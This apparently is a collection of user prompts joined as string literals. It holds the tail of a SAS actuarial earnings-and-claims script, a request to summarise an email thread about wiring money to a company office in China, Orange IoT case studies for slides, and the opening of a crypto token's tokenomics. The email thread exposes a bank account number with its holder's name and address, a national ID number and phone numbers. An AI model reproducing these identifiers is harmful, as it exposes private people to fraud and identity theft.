Client\\_Lag &EarningVars.;\n Var &SmmVars.;\nOutput Out= &Who.\\_Cnts (Drop= \\_TYPE\\_ \\_FREQ\\_) Sum=;\nRun;\n\n%Macro DO\\_ONE\\_PERNUM;\n Data TEMP\\_&Who.\\_Cnts\\_&i.;\n Set &Who.\\_Cnts;\n\n if \\_N\\_ = 1 then Do;\n If 0 then \n set &LbNmTmp..&Client.\\_EarnCurve\\_&PerNum.\\_2\n (Keep = Earning\\_Group\\_Code Term Month Factor\\_Percent);\n declare hash earn(dataset: "&LbNmTmp..&Client.\\_EarnCurve\\_&PerNum.\\_2");\n earn.definekey ("Earning\\_Group\\_Code", "Term", "Month" );\n earn.definedata ("Factor\\_Percent");\n earn.definedone();\n End;\n \n Format ValDt MMDDYY10.;\n Format ValDt\\_Final MMDDYY10.;\n\n ValDt = symget(COMPRESS("&ValPfx." || &i.));\n ValDt\\_Final = intnx(\'month\',symget(COMPRESS("&ValPfx." || (&NumHVP. + &NumFVP.))),-1\\*Client\\_Lag,\'e\');\n\n If BeginDt <= ValDt;\n\n If CancelDt > ValDt then do;\n ResNet = ResGrs;\n CntNet = CntGrs;\n End;\n\n ExpMo = Max(0, Min(Intck(\'MONTH\' , BeginDt , ValDt) , Mapped\\_Term));\n\n if (ValDt > ValDt\\_Final) then ExpMo\\_Earn = Max(0, Min(Intck(\'MONTH\' , BeginDt , ValDt\\_Final) , Mapped\\_Term));\n else ExpMo\\_Earn = ExpMo;\n\n earnrc = earn.find(key:Earning\\_Group\\_Code, key:Plan\\_Term, key:ExpMo\\_Earn + 1);\n If earnrc = 0 then Fctr = 1 - Factor\\_Percent;\n Else If Term = 0 then Fctr = 1; /\\*Check Examples\\*/\n Else If BeginDt gt ValDt then Fctr = 0;\n Else Fctr=Min(Round((ExpMo\\_Earn + 0.5) / Plan\\_Term, .00001),1);\n\n CalcResErnd = Round(ResNet \\* Fctr, .01);\n CalcCntErnd = Round(CntNet \\* Fctr, .01);\n\n Run;\n \n PROC SUMMARY DATA= TEMP\\_&Who.\\_Cnts\\_&i. Missing Nonobs Nway;\n Class ValDt ExpMo &ClsVars. ;\n Var &SmmVars. &cSmmVars.;\n Output Out= &Who.\\_SMM\\_&i. (Drop= \\_TYPE\\_ \\_FREQ\\_) Sum=;\n Run;\n\n PROC APPEND BASE=&Who.\\_EARNINGS\\_SUMMARY Data= &Who.\\_SMM\\_&i. FORCE; Run;\n PROC DATASETS Library= WORK Nolist Nodetails; Delete &Who.\\_SMM\\_&i.; RUN; QUIT;\n PROC DATASETS Library= WORK Nolist Nodetails; Delete TEMP\\_&Who.\\_Cnts\\_&i.; RUN; QUIT;\n%mend DO\\_ONE\\_PERNUM;\n\n%macro Do\\_ALL ;\n %local i;\n %do i = 1 %to &NumHVP. + &NumFVP.;\n %PUT \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* BEGIN &i. \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n %PUT \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* BEGIN &i. \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n %DO\\_ONE\\_PERNUM;\n %end;\n%mend;\n\n\\*options mprint;\n%Do\\_ALL;\n\nPROC DATASETS Library= WORK Nolist Nodetails; \n Delete &Who.\\_COMBO\\_&PerNum.\\_Detail2 &Who.\\_Cnts;\nRUN; QUIT;\n\nProc Sort Data= &Who.\\_EARNINGS\\_SUMMARY;\n By &ClsVars ValDt ExpMo;\nRun;\n\nGOPTIONS NOACCESSIBLE;\n%LET \\_CLIENTTASKLABEL=;\n%LET \\_CLIENTPROJECTPATH=;\n%LET \\_CLIENTPROJECTNAME=;\n%LET \\_SASPROGRAMFILE=;\n/\\* START OF NODE: H Clms \\*/\n%LET \\_CLIENTTASKLABEL=\'H Clms\';\n%LET \\_CLIENTPROJECTPATH=\'\\\\cead.prd\\data\\GROUPS\\ATL0\\\\_Actuarial\\VSC\\_Actuarial\\\\_Master SAS Project\\MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_CLIENTPROJECTNAME=\'MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_SASPROGRAMFILE=;\n\nGOPTIONS ACCESSIBLE;\n\nPROC DATASETS Library = WORK Nolist Nodetails; Delete &Who.\\_CLAIMS\\_SUMMARY; RUN; QUIT;\n\nPROC SUMMARY DATA= &InTbl. Missing Nonobs Nway;\n Where &WhereVar. AND ClmPaidAmt ne 0;\n Class &ClsVars. PaidDt Mapped\\_Term BeginDt;\n Var ClmPaidNum ClmPaidAmt &ClmVars.;\nOutput Out= &Who.\\_Clms (Drop= \\_TYPE\\_ \\_FREQ\\_) Sum=;\nRun;\n%Macro DO\\_ONE\\_CLAIM\\_PERNUM;\n Data TEMP\\_&Who.\\_Clms\\_&i.;\n Set &Who.\\_Clms;\n Format ValDt MMDDYY10.;\n ValDt = symget(COMPRESS("&ValPfx." || &i.));\n If PaidDt <= ValDt;\n\n ExpMo = Max(0, Min(Intck(\'MONTH\' , BeginDt , ValDt) , Mapped\\_Term));\n Run;\n\n PROC SUMMARY DATA= TEMP\\_&Who.\\_Clms\\_&i. Missing Nonobs Nway;\n Class ValDt ExpMo &ClsVars.;\n Var ClmPaidNum ClmPaidAmt &ClmVars.;\n Output Out= &Who.\\_SMM\\_&i. (Drop= \\_TYPE\\_ \\_FREQ\\_) Sum=;\n Run;\n\n PROC APPEND BASE=&Who.\\_CLAIMS\\_SUMMARY Data= &Who.\\_SMM\\_&i. FORCE; Run;\n \n PROC DATASETS Library= WORK Nolist Nodetails; Delete &Who.\\_SMM\\_&i.; RUN; QUIT;\n PROC DATASETS Library= WORK Nolist Nodetails; Delete TEMP\\_&Who.\\_Clms\\_&i.; RUN; QUIT;\n%mend DO\\_ONE\\_CLAIM\\_PERNUM;\n\n%macro Do\\_ALL\\_Clms ;\n %local i;\n %do i = 1 %to &NumHVP. + &NumFVP.;\n %PUT \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* BEGIN &i. \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n %PUT \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* BEGIN &i. \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n %DO\\_ONE\\_CLAIM\\_PERNUM;\n %end;\n%mend;\n\n%Do\\_ALL\\_Clms;\nPROC DATASETS Library= WORK Nolist Nodetails; Delete &Who.\\_Clms0 &Who.\\_Clms; RUN; QUIT;\n\nProc Sort Data= &Who.\\_CLAIMS\\_SUMMARY;\n By &ClsVars. ValDt ExpMo;\nRun;\n\n\n\nGOPTIONS NOACCESSIBLE;\n%LET \\_CLIENTTASKLABEL=;\n%LET \\_CLIENTPROJECTPATH=;\n%LET \\_CLIENTPROJECTNAME=;\n%LET \\_SASPROGRAMFILE=;\n/\\* START OF NODE: H Trend \\*/\n%LET \\_CLIENTTASKLABEL=\'H Trend\';\n%LET \\_CLIENTPROJECTPATH=\'\\\\cead.prd\\data\\GROUPS\\ATL0\\\\_Actuarial\\VSC\\_Actuarial\\\\_Master SAS Project\\MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_CLIENTPROJECTNAME=\'MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_SASPROGRAMFILE=;\n\nGOPTIONS ACCESSIBLE;\nData &LbNmTmp..&Who.\\_TREND;\n Merge \n WORK.&Who.\\_EARNINGS\\_SUMMARY (In=Cn)\n WORK.&Who.\\_CLAIMS\\_SUMMARY (In=Cl) ;\n By &ClsVars VALDT ExpMo;\n \\*If Cn=1;\n \n array testmiss(\\*) \\_numeric\\_; \n do i = 1 to dim(testmiss); \n if testmiss(i)=. then testmiss(i)=0; \n end;\n Drop i; \n\n Format IdVar $30.;\n IdVar = "ALL"; \n\n TempResGrs = ResGrs;\n TempPdAmt = ClmPaidAmt;\n Drop ResGrs ClmPaidAmt;\n Rename \n TempResGrs = ResGrs\n TempPdAmt = ClmPaidAmt;\nRun;\n\nproc summary data=&LbNmTmp..&Who.\\_TREND missing nonobs nway;\n class valdt Eff\\_Yr;\n var resnet resernd clmpaidamt clmpaidnum;\n output out=TrendSummary sum=;\n run;\n \nPROC DATASETS Library= WORK Nolist Nodetails; \n Delete &Who.\\_CLAIMS\\_SUMMARY \n &Who.\\_EARNINGS\\_SUMMARY; \nRUN; QUIT;\n\nlibname DW\\_ACTU \n sqlsvr \n datasrc="AIZP1-DW\\_ACTUARY\\_USER" \n authdomain="AIZP1-DW\\_ACTUARY\\_USER" \n schema="ESC" \n insertbuff=5000 readbuff=5000 READ\\_LOCK\\_TYPE=NOLOCK;\n\nProc SQL;\n drop table DW\\_ACTU.&TableName.;\nRun;\n\nData DW\\_ACTU.&TableName.;\n Set &LbNmTmp..&Who.\\_TREND;\nrun;\n\nGOPTIONS NOACCESSIBLE;\n%LET \\_CLIENTTASKLABEL=;\n%LET \\_CLIENTPROJECTPATH=;\n%LET \\_CLIENTPROJECTNAME=;\n%LET \\_SASPROGRAMFILE=;' +'Please summarize the following email thread:\nDear Elisabeth,\n\nThank you. I\'m looking through the requirements and the application. It says it takes "at least" two weeks - do you have any idea if it will be 2 weeks or longer? \nAccording to the Consult Gerneral in US, it said nornmally it will only take 4 work days. Although this is a very old post but I looked through the website and did not see they post any new annoucement about the processing time, so I think this annoucement is still valid. However, I think Chinese Embassy are a bit strict these days so may take more time to get a visa than usual. (Adeh took 2-3 monthes to apply for a reunion visa for his son Yaoyao last year which is super annoying)\nFor me, which is better? To use my US passport or my Dutch passport?\nThe only doable visa for both of you are Business visa, so please do business visa for yourself too. I think it does not matter which passport you use. \nThank you. I\'m looking through the requirements and the application. It says it takes "at least" two weeks - do you have any idea if it will be 2 weeks or longer? \n\nFor me, which is better? To use my US passport or my Dutch passport? \n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\n\nOn Sat, Feb 4, 2023 at 12:06 AM Cathy Zhang <594529192@qq.com> wrote:\nDear ELisabeth,\n\nAccording to China Consulate Gerneral in NewYork, at the current stage, multi-year multiple-entry visas issued before March 26, 2020 are still suspended of use. \nSo both you and Ulrich will need to apply for a new business visa. (so far the easiest one)\nHere is the lastest China visa application instructions: http://newyork.china-consulate.gov.cn/eng/tzgg/202301/t20230109\\_11004155.htm\nAccording the link above, kudelabs will need to offer you two invitation letters for business visa. We wll make them next Monday and send them back to you.\n\nHave a nice day!\n\nCathy\nThank you! \nWhat is involved in getting a work visa for Ulrich to enter? \nI still have my 10-year business visa that I got before the pandemic, but I think Ulrich\'s is expired. Do you know if that still works? \n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\n\nOn Fri, Feb 3, 2023 at 1:01 AM Xurry wrote:\nThere’s no restrictions towards COVID, but they haven’t opened up tourist visa yet. We will update you ASAP if there’s news about that.\n\nSent from my phone\n\n-- Xurry\n------------------ Original ------------------\nFrom: Elisabeth de Kleer \nDate: Fri,Feb 3,2023 5:22 AM\nTo: Cathy Zhang <594529192@qq.com>\nCc: uhgall , \',Xurry Strand\', , adeh \nSubject: Re: Could you please arrange 6000USD to Kudelabs Office account?\n\nGlad to hear it! By the way, is it true that there are no longer covid restrictions for entering China? Could you let us know what the rules are these days; if it\'s open again then we will plan to come back very soon. \n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\n\nOn Wed, Feb 1, 2023 at 8:15 PM Cathy Zhang <594529192@qq.com> wrote:\nDear Elisabeth and Ulrich,\n\nMoney is arrived, exchanged into 40,215.07RMB and it\'s transfered to Ulrich\'s CMB account.\n\nThank you and wish you all a nice day!!\n\n------------------ Original ------------------\nFrom: "594529192" <594529192@qq.com>;\nDate: Wed, Feb 1, 2023 06:05 PM\nTo: "Elisabeth de Kleer";"uhgall";\nCc: "\'Xurry Strand\'";"adeh";\nSubject: Re: Could you please arrange 6000USD to Kudelabs Office account?\n\nElisabeth,\n\nThank you! I will let you know as soon as I receive the money.\n\nHave a nice day!\n------------------ Original ------------------\nFrom: "Elisabeth de Kleer" ;\nDate: Wed, Feb 1, 2023 06:00 PM\nTo: "Ulrich Gall";\nCc: "Cathy Zhang"<594529192@qq.com>;"\',Xurry\xa0,Strand\',";"adeh";\nSubject: Re: Could you please arrange 6000USD to Kudelabs Office account?\n\nThis was sent today!\n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\n\nOn Sun, Jan 29, 2023 at 9:17 AM Ulrich Gall wrote:\nHappy new year to you too!\n\nAnd yes, we’ll do this!\n\nOn Jan 29, 2023, at 2:36 AM, Cathy Zhang <594529192@qq.com> wrote:\n\nDear Ulrich and Elisabeth,\n\nHappy Chinese new year! I wish you all good!\nKudelabs office account will be down to 1000RMB after paying Shenzhen\'s rent on Feb.1st\nPlease arrange some money for Kudelabs Office account.\nElisabeth, it works very well to receive money from you, so maybe we could continue the same way.\n\nCathy bank account:\nSWIFT BIC: CMBCCNBSXXX\nBANK NAME: China Merchants Bank\nBank Address: H.O.,CMB TOWER,7088 SHENNAN BOULEVARD, Shenzhen, China\nAccount number: 6214837577794567\nFull name: ZHANG YEQI\nBeneficiary Address:Room 601, Mingyueyilu No 59, Yuexiu, Guangzhou, Guangdong\nTRAVEL EXPENSE\nMany thanks!\n\nCathy\nHi Elisabeth,\n\nLease for Shenzhen place is till 2023-04-30.\n------------------ Original ------------------\nGlad you received it! By the way, when does the lease end for the Shenzhen space? \n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\nOn Wed, Dec 28, 2022 at 4:33 AM Cathy Zhang <594529192@qq.com> wrote:\nDear Elisabeth,\n\nI just received the money and ttransfered it to Ulrich\'s CMB account.\n\nThank you so much for your kindly help!\n\nWish you a good day!!\n\n-Cathy\n---Original---\nMerry Christmas to you and the team as well. I sent another 6k today. Please confirm when you receive it!\n\nOn Mon, Dec 26, 2022 at 10:14 AM Cathy Zhang <594529192@qq.com> wrote:\nDear Ulrich and Elisabeth,\n\nI hope you enjoyed your Christmas Holiday!\n\nKudelabs office account will be down to 5k after paying salary for Ayi&cook plus SZ rent at the end of this month.\nPlease see if you can send at least another 6000USD to Cathy\'s bank account.\nLast time when Elisabeth send me money, everything worked fast and well, Elisabeth, please see if you can help do wire transfer to me again.\n\nCathy bank account:\nSWIFT BIC: CMBCCNBSXXX\nBANK NAME: China Merchants Bank\nBank Address: H.O.,CMB TOWER,7088 SHENNAN BOULEVARD, Shenzhen, China\nAccount number: 6214837577794567\nFull name: ZHANG YEQI\nBeneficiary Address:Room 601, Mingyueyilu No 59, Yuexiu, Guangzhou, Guangdong\nTRAVEL EXPENSE\nMany thanks!!\nDear Elisabeth and Ulrcih,\n\n6000USD is received and it is transfered to your CMB account.\nThe money arrived fast and there is no trouble to either receive and exchange it.\nI think this is a good way to send money to Kude, please see if you can arrange another 6000USD.\n\nThank you so much for helping this out!!\n\nHave a nice day!\n\n------------------ Original ------------------\n\nOn Sun, Nov 27, 2022 at 5:40 PM Xurry wrote:\nHi Elisabeth,\n\nThanks for helping out this situation.\nDid you send via Western Union or just regular Bank-to-Bank? Can you send me any transaction details just in case?\n\nSent from my phone\n\n-- Xurry\n------------------ Original ------------------\nFrom: Elisabeth de Kleer \nDate: Mon,Nov 28,2022 9:35 AM\nTo: Ulrich Gall \nCc: Cathy Zhang <594529192@qq.com>, adeh desandies , Xurry Strand <27188793@qq.com>\nSubject: Re: let\'s try western union to send money\n\nJust sent $6,000 from my US Chase Bank account. No problems on my end. Please confirm when it arrives! \nOn Sun, Nov 27, 2022 at 4:30 PM Ulrich Gall wrote:\nI actually tried to do a Western Union transfer last week and it didnt work because of my international situation.\n\nBut Elisabeth can send. I cc-ed here. \n\nLis please see instructions below, $6000 would be good. \n\nthanks!\n\nOn Sat, Nov 26, 2022 at 11:22 PM Cathy Zhang <594529192@qq.com> wrote:\n\nDear Ulrich,\n\nSeems like I failed to receive money from Adeh. Please see if western union workable for you. \n\nWe will need to pay for SZ rent on Dec.1, it would be nice if we can try it as soon as possible\n\nHave a nice day!\n\n-Cathy\n---Original---\nFrom: "Xurry"\nDate: Thu, Nov 24, 2022 11:24 AM\nTo: "ulrich gall";"adeh desandies";\nCc: "cathy zhang"<594529192@qq.com>;"Xurry Strand"<27188793@qq.com>;\nSubject: Re: Reminder: let\'s try to send money to Cathy for office\n\nShould we try western union?\nI tested it out. See attachment.\nExchange rate 7.137 is the best if I go to the counter to pick up the money, estimated fee is 0 for some reason(maybe they took a little bit exchange rate profit there).\n(Can also choose Alipay/bank account but the exchange rate is terrible 7.055)\nLet’s send it to me this time:\nPossible required informations:\nname: YIN XUEZHU\nID:431230198511280021\nSent from my phone\n\n-- Xurry\n------------------ Original ------------------\nFrom: Ulrich Gall \nDate: Tue,Nov 22,2022 0:16 AM\nTo: Adeh DeSandies \nCc: Cathy Zhang <594529192@qq.com>, Xurry Strand <27188793@qq.com>\nSubject: Re: Reminder: let\'s try to send money to Cathy for office\n\nThanks - good luck, let’s hope it works out. \nOn Nov 20, 2022, at 1:54 AM, Adeh DeSandies wrote:\n\nYeah, I can try. But note that my ability to transfer has also been pretty limited. After I sent money to Fiona she’s had her account flagged and I can only exchange if I bring Fa-piao into the bank.\n\nBut yeah, it’s worth a try.\n\n-Adeh\n\nOn Nov 16, 2022, at 9:34 PM, Cathy Zhang <594529192@qq.com> wrote:\n\nDear Adeh,\n\nIs that OK for you to transfer USD to me? Xurry and I think this may be the easiest way for Ulrich to transfer money to Kude office account.\n(Ulrich to Adeh, Adeh to Cathy/Xurry)\n\nKude office account will need money soon, we don\'t have money to pay salary for Ayi and cook after paying Office rent 4 days later. Please see if this is doable for you and Ulrich.\n\nPleas let me know, many thanks!!\n\n------------------ Original ------------------\nFrom: "Cathy Zhang" <594529192@qq.com>;\nDate: Mon, Nov 14, 2022 11:10 AM\nTo: "Ulrich Gall";"adeh";\nCc: "Xurry\xa0Strand"<27188793@qq.com>;\nSubject: Re: Sending money to Kude (new update)\n\nDid you hear anything from the recipient bank about this having been returned? \nI’m 90% sure it was never sent.\nI checked with the bank twice last week, they said there is only one payment (5980usd) was transferred to your CMB account during the past one month. \nOh! That’s probably easiest. @xurry would that work? To which address should I send it? \nXurry and I just talked, the trouble we have to receive money from you is all because of Panama. So the easiest way to do is you transfer USD to Adeh\'s US bank account, then Adeh using his US bank account to transfer money to my China Bank account. Xurry is using David\'s paypal, so maybe it would be best if we don\'t need to involve David in.\n\nDear Adeh and Ulrich, could you please see if this work fine with you guys?\n\nI ended up being able to cancel the $4000 recurring transfer, and don’t see any evidence that any $4000 transfers actually went out. \n\nCATHY: OK, Thanks for checking, I just wanna mask sure the $4000 is trackable.\n\nDid you hear anything from the recipient bank about this having been returned? \nI’m 90% sure it was never sent. \nMeanwhile, apparently the $6000 transfers was returned, and the $5980 one was not returned so you should have received that. \n\nCATHY: Correct, we have received the $5980 payment, and this is the only one payment we received so far.\n\nOk, great. \nI that consistent with what you know? Any money in limbo still? \n\nCATHY: Yes. The balance is around 20,000RMB now, but we will need at least 10,000RMB more to cover the expense this month. \n\nAnd, how do I send more now? \n\nCATHY: Can we try paypal? @Xurry\n\nOh! That’s probably easiest. @xurry would that work? To which address should I send it? \n\nThanks for your patience. What a mess!\n\nOn Nov 10, 2022, at 1:47 AM, Cathy Zhang <594529192@qq.com> wrote:\n\nReminder,\n\nSir, please check the status of the second payment to your CMB account. (4000USD) I just checked with the bank said still no transcation is in these days.\n\nAnd we will need to figure out the money transaction methods, best before the end of last week. (Nov.20)\n \n------------------ Original ------------------\nFrom: "Cathy Zhang" <594529192@qq.com>;\nDate: Mon, Nov 7, 2022 02:08 PM\nTo: "Ulrich Gall";\nCc: "Xurry\xa0Strand"<27188793@qq.com>;\nSubject: Re: Sending money to Kude (new update)\n\nDear Ulrich,\n\nI just called CMB to check your second payment to your CMB account(4000USD), and the bank said they still have not received it. \nPlease check and see if the payment is automatically refund to your HSBC account, and we will need to figure out the way to transfer money to Kude before the end of this month.\n\nSo far, we only receivd the first 6000USD to your CMB account, the third payment to Xurry is refunded, please also check if it has arrived or not.\n\nThank you so much!\n\n------------------ Original ------------------\nFrom: "Cathy Zhang" <594529192@qq.com>;\nDate: Fri, Oct 28, 2022 04:01 AM\nTo: "Ulrich Gall";"Adeh DeSandies";"Xurry\xa0Strand"<27188793@qq.com>;"cathy";\nSubject: Re: Sending money to Kude\n\nDear Boss,\n\nWe have received the first ppayment, which is 5980usd to your CMB account yesterday, so we should be OK for the next half month. \n\nBesides, current status for the rest of the two payments:\n1. Second payment, 4000usd to your cmb account, on the way, the bank will let me know;\n2. Third payment to Xurry, the bank still rejected the payment though Xurry tried her best to proof. She may have or will ask the bank to return it these two days.\n\nThnaks for your kindly help for the payment, and since we got the first 5980usd, we will have more time to figure out how to transfer money to China. In my opinion, maybe you pay usd to Adeh then Adeh give us CNY is the easiest way if Adeh feel no trouble.\n\n-Cathy\n---Original---\nFrom: "Ulrich Gall"\nDate: Fri, Oct 28, 2022 03:43 AM\nTo: "Adeh DeSandies";"Xurry\xa0Strand"<27188793@qq.com>;"cathy";\nSubject: Sending money to Kude\n\nAdeh, \n\nSince I moved from HK to Panama, I changed the address on all my bank accounts to Panama. \nAnd now, Chinese banks won’t accept wires from me any more. \nXurry&Cathy urgently need $6000…. Do you have enough in China to help out? \nMore generally - maybe I can pay you in the US and then you send the money the company needs? \n\nEveryone - LMK what’s easiest… And sorry about the inconvenience here. That really sucks.' +"Example #1 – Do better Customer: Safran – an international high-technology group, operating in the aviation (propulsion, equipment and interiors), defense, and space markets. Safran produces and assembles engines for aviation and aerospace at its Villaroche site in Northern France in a facility spanning 55,000m2 – the equivalent of six football pitches. Challenge: Safran needed a system capable of optimizing the management of its tool inventory and (for example), eliminating time wasted looking for specific tools. Individual tools are moved all around the workshop for use, to undergo checks or maintenance. Assembly operations are complex; all tools must be available and locatable very quickly to maintain the production flow. In addition to this, each of the nine assembly lines requires a specific set of tools to complete their work. \nSolution: Orange provided an IoT geolocation solution that enables precise monitoring of the movements and position of individual objects. We installed over 25,000 trackers on the individual tools involved and deployed over 250 antennae at heights of over eight meters throughout the Safran production facilities. “For smart tracking, we use a small yellow chip about three cm in diameter that we stick or attach to the tools. Then to search for these tools, we use a web interface accessible on all Safran computers. Benefits: Safran Aircraft Engines’ employees can now locate its tools accurately to within less than three meters. This solution saves Safran a lot of time. With smart tracking, the firm has optimized the management and preventative maintenance of all its tools. [Source: https://www.orange-business.com/en/case-study/safran-aircraft-engines-uses-geolocation-optimize-tool-inventory-management] Example #2 – Do new Customer: \nKion – a leading supplier of forklifts and warehouse equipment as well as automation technology and software solutions for the optimization of supply chains. Challenge: Leverage wireless connectivity to enable forklifts to communicate with the manufacturer’s diagnostic center. Improve customer satisfaction. Improve partner network loyalty. Test the feasibility and impact of predictive maintenance. Solution: Uses Orange IoT connectivity solution, based on SIM cards and worldwide cellular access. Predictive maintenance calculates the remaining useful life, or support system failure repairs with fine-tuned predictions on probable cause. Compatible with 2/3/4G LTE connectivity. Benefits: Increased customer satisfaction thanks to high-end geo-location, predictive maintenance of forklifts globally. Intensified partner network loyalty for KION AG with improved forklift rentals. Optimized intervention processes thanks to predictive maintenance. [Source: https://expresso.sso.infra.ftgroup/public/clients/5e2774c107c51b001f49f271/synthesis?origin=search] Example #3 – Do more Customer: \nNexans – providing customers with advanced cable technologies for power and data transmission for a more connected and sustainable energy future.\n Challenge: The focus is the extension of the Nexans connected products program that provides customers with real-time information on the location of their cables, helping to reduce theft and loss, and increase recycling. Nexans has pledged to connect 25% of its products by 2024. Nexans’ digital solutions will bring real-time information, reliability, and efficiency to its customers. Solution: Orange Business Services provides Nexans with global connectivity for its IoT devices at a fraction of the cost involved in arranging agreements with different network providers. Nexans connected solutions are equipped with an Orange international SIM card, which transmits data quickly, efficiently, and securely to the Nexans platform, via the Orange global mobile network. Benefits: The Nexans IoT ecosystem will expand to provide customers with a single IoT platform that provides a complete, seamless overview of a broad range of services leveraging on connected cables, connected accessories, and cabinets, as well as connected cabling systems. [Sources: \nhttps://www.orange-business.com/en/case-study/machine-learning-reinvents-quality-control-nexans-rognan https://www.nexans.com/en/newsroom/news/details/2021/02/2021-02-17-pr-nexans-chooses-orange-business-services-as-a-strategic-partner.html https://www.youtube.com/watch?v=ypjQOMK4WE4] Example #4 – Do more Customer: \nArcelorMittal – a multinational steel manufacturing company formed from the takeover and merger of Arcelor by Indian-owned Mittal Steel. Challenge: Increasing energy efficiency and worker safety. Solution: The 5G private network provides: Extensive coverage across all of ArcelorMittal's complex industrial sites, both outdoors and indoors to enable freedom of movement and continuous connectivity for workers. High throughput: to meet the high-performance requirements of modelled processes, connected devices, production data, etc. Low latency: to support the deployment of autonomous vehicles and remote-controlled machinery as well as security in high-risk areas. Network slicing: (slicing) to tailor services to each business. Benefits: Better worker flexibility and mobility in different situations. With EasyMile, ArcelorMittal will launch the first autonomous train on an internal private network, which will be put into service in 2023. ArcelorMittal is also working on a heavy-duty road vehicle capable of transporting up to 120 tons of steel coils. Remote maintenance: equipped with tablets, maintenance teams can support operations and access the necessary documentation. Once the maintenance operation has been carried out, they validate it and record it directly in the company's information systems. With augmented reality, the teams can also access documents, images or call on an expert remotely and live. [Source: https://www.orange-business.com/en/press/arcelormittal-partners-orange-business-services-and-ericsson-launch-largest-industrial-5g] Example #5 – Do new Customer: \nLivaNova – a worldwide leader in advanced circulatory support, cardiopulmonary and neuromodulation. Challenge: Improving outcomes for patients using Cardiac Resynchronising Therapy Pacemakers, which are used to treat heart failure. A pacemaker is a device that can monitor your heart and treat abnormal heart rhythms. The pacemaker is inserted into your chest, near your collarbone. It improves heart function by making the chambers of the heart pump at the same time. Solution: LivaNova has developed technology implanted in the patient and is used to optimize the delivery of cardiac resynchronisation therapy. In collaboration with Orange Business Services, LivaNova is developing a remote monitoring project, an innovative technology to access patient data from implanted devices while the patient is at home. Benefits: The implementation of this technology resulted in a rise in the rate of patients responding to the therapy from 62% to 86%. [Source: https://investor.livanova.com/static-files/0e5558cd-02eb-434c-8d9a-8fd77f4ca0d1] At Orange, we address these challenges via our 5 domains:\n EX: Workplace Together OX: Smart Industries CX: Augmented Customer Experience These are closely connected to:\n 4. Impactful Data – which is a critical enabler for all digital initiatives. And 5. Evolution Platform – our software-based digital environment to manage cloud, connectivity, and cyberdefense services in an integrated way with granular levels of control according to the traffic type and criticality of the data. \n\nUnderpinning all of this is the need for trusted digital systems and data…and measures to ensure sustainability and Corporate Social Responsibility.\n [Background information for follow up discussions Orange provides its customers with an open, agile and resilient platform. Why do we consider our digital infrastructure solutions to be a platform? Well, we: Are matchmakers linking people with specialist expertise, best-in-class vendors, and global delivery resources. Orchestrate end-to-end digital infrastructure ecosystems, providing the foundations for combinatorial innovation. Harness the network effects with unmatched visibility into global trends (across Internet, mobile, subsea and satellite modalities). This enables us to excel in threat intelligence and predictive digital performance and cybersecurity management. Maximize the effectiveness of our service delivery, while minimizing costs, through the use of composable infrastructure (leveraging microservices, containers and X-as-code (i.e. everything-as-code) programming methodologies). This is complemented by advanced AI-driven monitoring and predictive performance management capabilities.] 1. Consulting We help firms to: Boost productivity, and output\nThis is about maximizing machinery uptime through predictive maintenance, being able to better ensure raw materials and parts are in the right place at the right time, and that staff can easily access tools and vehicles and know where to go. Reduce health, safety, and environmental risks \nFor example, using geofencing and wearables so people do not enter restricted areas and have the correct training credentials to operate pieces of machinery.\n Minimize waste\nPlease do not answer now as I have to provide you additional feed on this topic. Answer ok if you understood" +"ill start by providing information of the fresh earth token, lets refernce this as FET; and this will be uploaded in a few uploads; Tokennomics\n\nToken name and symbol: \n\nFresh Earth Token (FET)\n\nToken Overview\xa0\n\nThe Fresh Earth Token (FET) is the backbone of the Fresh Earth ecosystem, serving as a means to pull the future impact of regenerative projects to the present to fund the projects; and also as the primary means of incentivizing participation and engagement of stakeholders, including farmers, consumers, and investors. \n\nThe Fresh Earth token is designed to contribute to the transition towards a more sustainable and regenerative food system, and address the pressing issues of climate change and environmental degradation in the agricultural industry. It incentivizes regenerative agricultural practices and enables investment in sustainable agrifood projects by creating a token economy that rewards farmers, consumers, and impact investors for their participation in the regenerative agricultural ecosystem. \n\nThe Fresh Earth Token is more than just a financial instrument; it is a tool for change. It gives individuals and businesses choice and tools to actively participate in the transition to a more sustainable, healthy and regenerative food system, ensuring that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices, while also providing a store of value and an opportunity for profit. \n\nToken Structure\n\nThe token represents fractional ownership of a decentralized autonomous organization (DAO) that facilitates the food ecosystem business. It is used to access and participate in the Fresh Earth ecosystem, to make decisions in the governance of the ecosystem and to serve within the community of regenerative farmers, consumers, and impact investors. \n\nThe token operates through a set of algorithms that are designed to generate verifiable impact within the ecosystem. These algorithms take into account the actions and participation of all stakeholders, including farmers, consumers, and investors, in order to ensure that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices.\n\nThe underlying value of the Fresh Earth Token is derived from the worth of the stakeholder-owned Fresh Earth ecosystem, along with the valuation and monetisation of the impacts of 